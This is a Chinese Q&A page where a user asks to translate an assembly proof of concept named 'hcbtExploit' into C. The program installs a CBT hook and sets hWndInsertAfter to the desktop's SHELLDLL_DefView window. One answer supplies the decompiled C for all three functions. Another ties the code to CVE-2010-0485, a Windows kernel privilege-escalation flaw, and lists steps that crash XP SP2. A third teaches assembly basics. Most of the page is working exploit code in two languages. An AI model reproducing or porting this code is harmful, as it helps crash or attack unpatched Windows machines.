求高手将这段汇编代码转换成C

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了求高手将这段汇编代码转换成C相关的知识,希望对你有一定的参考价值。

.386
.model flat,stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib

.const
.data
_wnd db "hcbtExploit",0
.data?
hhook dd ?
.code

WndProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
.if uMsg==WM_DESTROY
invoke PostQuitMessage,0
xor eax,eax
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
.endif
ret
WndProc endp

HookProc proc uses ebx nCode:UINT,wParam:WPARAM,lParam:LPARAM
local buf[MAX_PATH]:BYTE
.if nCode==HCBT_CREATEWND
invoke GetClassName,wParam,addr buf,MAX_PATH
invoke lstrcmpi,addr buf,offset _wnd
.if eax==0
mov ebx,lParam
assume ebx:PTR CBT_CREATEWND
invoke GetDesktopWindow
invoke GetWindow,eax,GW_CHILD
invoke GetWindow,eax,GW_HWNDLAST ; (Progman)
invoke GetWindow,eax,GW_CHILD ; (SHELLDLL_DefView)
mov [ebx].hWndInsertAfter,eax
assume ebx:nothing
.endif
xor eax,eax
.else
invoke CallNextHookEx,hhook,nCode,wParam,lParam
.endif
ret
HookProc endp

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
local wc:WNDCLASSEX
local msg:MSG
local hwnd:HWND
mov wc.cbSize,sizeof wc
mov wc.style,CS_VREDRAW
mov wc.lpfnWndProc,offset WndProc
mov wc.cbClsExtra,0
mov wc.cbWndExtra,0
mov eax,hInst
mov wc.hInstance,eax
mov wc.hbrBackground,COLOR_WINDOW
mov wc.lpszMenuName,0
mov wc.lpszClassName,offset _wnd
invoke LoadIcon,0,IDI_WARNING
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,0,IDC_CROSS
mov wc.hCursor,eax
invoke RegisterClassEx,addr wc

invoke GetCurrentThreadId
invoke SetWindowsHookEx,WH_CBT,offset HookProc,0,eax
mov hhook,eax

invoke CreateWindowEx,\
0,\
offset _wnd,offset _wnd,\
WS_OVERLAPPEDWINDOW,\
400,250,600,400,0,0,hInst,0
mov hwnd,eax

invoke UnhookWindowsHookEx,hhook

invoke ShowWindow,hwnd,CmdShow
invoke UpdateWindow,hwnd

.while TRUE
invoke GetMessage,addr msg,0,0,0
.break .if (!eax)
invoke TranslateMessage,addr msg
invoke DispatchMessage,addr msg
.endw
mov eax,msg.wParam
ret
WinMain endp

start:
invoke GetModuleHandle,0
invoke WinMain,eax,0,0,SW_SHOWNORMAL
invoke ExitProcess,eax
end start
invoke GetModuleHandle,0 -> GetModuleHandle(0);
我知道。
但是xor eax,eax 呢?
只能_asm

xor eax,eax

么?

不用担心这个。这个是很难利用的。原作者已经讲了。我只是想看看C的代码

三个主函数,其他的自己修改

void __cdecl WndProc(unsigned int hWnd, unsigned int uMsg, unsigned int wParam, unsigned int lParam)

if ( uMsg == 2 )
PostQuitMessage(0);
else
DefWindowProcA(hWnd, uMsg, wParam, lParam);


void __cdecl HookProc(unsigned int nCode, unsigned int wParam, unsigned int lParam)

HWND v3; // eax@3
HWND v4; // eax@3
HWND v5; // eax@3
char buf; // [sp+4h] [bp-104h]@2

if ( nCode == 3 )

GetClassNameA(wParam, (LPSTR)&buf, 260);
if ( !lstrcmpiA((LPCSTR)&buf, (LPCSTR)"hcbtExploit") )

v3 = GetDesktopWindow();
v4 = GetWindow(v3, 5u);
v5 = GetWindow(v4, 1u);
*(_DWORD *)(lParam + 4) = GetWindow(v5, 5u);


else

CallNextHookEx(hhook, nCode, wParam, lParam);



void __cdecl WinMain(unsigned int hInst, unsigned int hPrevInst, unsigned int CmdLine, unsigned int CmdShow)

DWORD v4; // eax@1
HWND v5; // ST30_4@1
MSG msg; // [sp+4h] [bp-4Ch]@2
WNDCLASSEX wc; // [sp+20h] [bp-30h]@1

wc.cbSize = 48;
wc.style = 1;
wc.lpfnWndProc = (unsigned int)WndProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = hInst;
wc.hbrBackground = 5;
wc.lpszMenuName = 0;
wc.lpszClassName = (unsigned int)"hcbtExploit";
wc.hIcon = LoadIconA(0, 0x7F03u);
wc.hIconSm = wc.hIcon;
wc.hCursor = LoadCursorA(0, 0x7F03u);
RegisterClassExA((const WNDCLASSEXA *)&wc);
v4 = GetCurrentThreadId();
hhook = SetWindowsHookExA(5, (HOOKPROC)HookProc, 0, v4);
v5 = CreateWindowExA(0, (LPCSTR)"hcbtExploit", (LPCSTR)"hcbtExploit", 0xCF0000u, 400, 250, 600, 400, 0, 0, hInst, 0);
UnhookWindowsHookEx(hhook);
ShowWindow(v5, CmdShow);
UpdateWindow(v5);
while ( GetMessageA((LPMSG)&msg, 0, 0, 0) )

TranslateMessage(&msg);
DispatchMessageA(&msg);

参考技术A 漏洞介绍:

CVE ID :CVE-2010-0485

由于 Windows 内核模式驱动程序在创建窗口时未正确验证所有参数,因此存在一个特权提升漏洞。 成功利用此漏洞的攻击者可以运行内核模式中的任意代码。 攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。

应用程序通过hook 函数CBTProc并判断当nCode值为HCBT_CREATEWND时,hook函数就可以使hWndInsertAfter成为其它窗口的hwnd 。当用户按下WindowsKey+D最小化所有窗口时即可触发这个函数。

测试环境:

操作系统:WIN XP SP2

测试过程:

1、运行测试程序

2、按下WindowsKey+D

3、系统蓝屏

其实自己也可以转换,invoke其实就是调用函数的意思,比如
invoke GetModuleHandle,0 -> GetModuleHandle(0);

这一段是定义一个数据结构指针,类型为:CBT_CREATEWND
mov ebx,lParam
assume ebx:PTR CBT_CREATEWND

然后其它就是一般的win32程序里有的WinProc,可以在Visual Stdio中新建一个win32的程序,看它的源代码。

这个太敏感了,自己动手翻译一下吧。不难。
参考技术B 高手啊。。 参考技术C 授人以鱼,不如授人以渔。

我教你怎么看懂它。

1.Mov指令

Mov a,b
就是最简单的赋值语句,相当于a=b;

Mov [a],b
指针的运用,相当于*a=b;
mov a,[b]
指针的运用,相当于a=*b;

2.xor eax,eax

函数调用后如果有返回值一般都会放在CPU的EAX寄存器里,让主程序赋给变量,这里抢先将EAX与自己进行“异或”运算,其实就是将Eax清零,使得(最近一次调用的)函数的返回值变成0。
比方说在WinProc函数中,这里就相当于语句“return 0;”

3.assume
其实ASSUME指令比较有用的,但是这个程序里就相当于强制类型转换了,很好理解。

assume ebx:ptr CBT_CREATEWND
相当于C里面的 (CBT_CREATEWND*)ebx
但是Assume是一劳永逸的做法,后面的语句都不用再类型转换

4.addr offset
相当于取地址符,虽然这两个不同,但对应到C里只有一种,那就是“&”

5.函数及其调用
C中调用函数直接写函数名,汇编里不同,而是用Call或者Invoke来调用函数,其中Invoke跟C的调用方式很相似。

参数顺序相同,但是Invoke将类型写到变量后面中间加冒号(Pascal语系也是如此),C/java将类型写在变量前面中间加空格。
Invoke语句后面如果参数写到下一行去,要加一个\表示下一行仍是参数

关于函数原型也有区别
C里面用...括起的部分是函数体
而汇编中用“proc...endp”包含的部分是函数体

6.其他
像一些伪指令如.IF什么的跟C中的判断语句差不多,只多个点而已
对于结构体成员的调用也是一样,用一只点号引用

其实学了C,再加上我说的这些,大致可以看懂汇编代码了。

以上是关于求高手将这段汇编代码转换成C的主要内容,如果未能解决你的问题,请参考以下文章

哪位高手帮我把汇编语言程序转换成c语言程序啊?(对了是51单片机程序)

sql 里面怎么将nvarchar转换成float

求JAVA高手解答!有关于字符串类型转换成日期型!

这段C语言代码如何转换成Python语言?(关于哈希表)

simulink 转换成c语言

求高手指点,把.db格式转换成.txt格式的